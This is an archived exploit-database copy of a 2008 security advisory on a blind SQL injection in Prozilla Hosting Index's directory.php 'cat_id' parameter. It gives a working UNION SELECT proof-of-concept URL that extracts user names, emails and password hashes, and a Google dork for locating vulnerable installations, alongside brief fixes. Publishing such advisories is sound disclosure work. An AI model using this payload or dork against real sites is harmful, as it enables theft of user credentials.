Prozilla Hosting Index - 'cat_id' SQL Injection

EDB-ID:

5516

Author:

K-159

Type:

webapps

Platform:

PHP

Published:

2008-04-28

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 |    __)_ /    \  \//    ~    \/   |   \ 
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                                        .OR.ID
ECHO_ADV_88$2008

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[ECHO_ADV_88$2008] Prozilla Hosting Index (directory.php cat_id) Blind Sql Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : April, 28 th 2007
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv88-K-159-2008.txt
Critical Lvl   : Medium
Impact	       : System access
Where	       : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Hosting Index
version       : unknown
Vendor        : http://www.prozilla.com/item.php?item=26
Description   :


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Vulnerability:
~~~~~~~~~~~~~

Input passed to the "cat_id" parameter in directory.php is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the hash md5 password from users.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
~~~~~~~~~

http://www.target.com/[hostindex_path]/directory.php?ax=list&sub=7&cat_id=-1%20union%20select%201,2,concat(id,0x3a,name,0x3a,email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14%20from%20links--

Dork:
~~~~
Google: "inurl:directory.php?ax=list" Hosting Directory

Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~

- 15 - 12 - 2007 bug found
- 28 - 04 - 2008 advisory released
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Shoutz:
~~~~
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~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.

---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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# milw0rm.com [2008-04-28]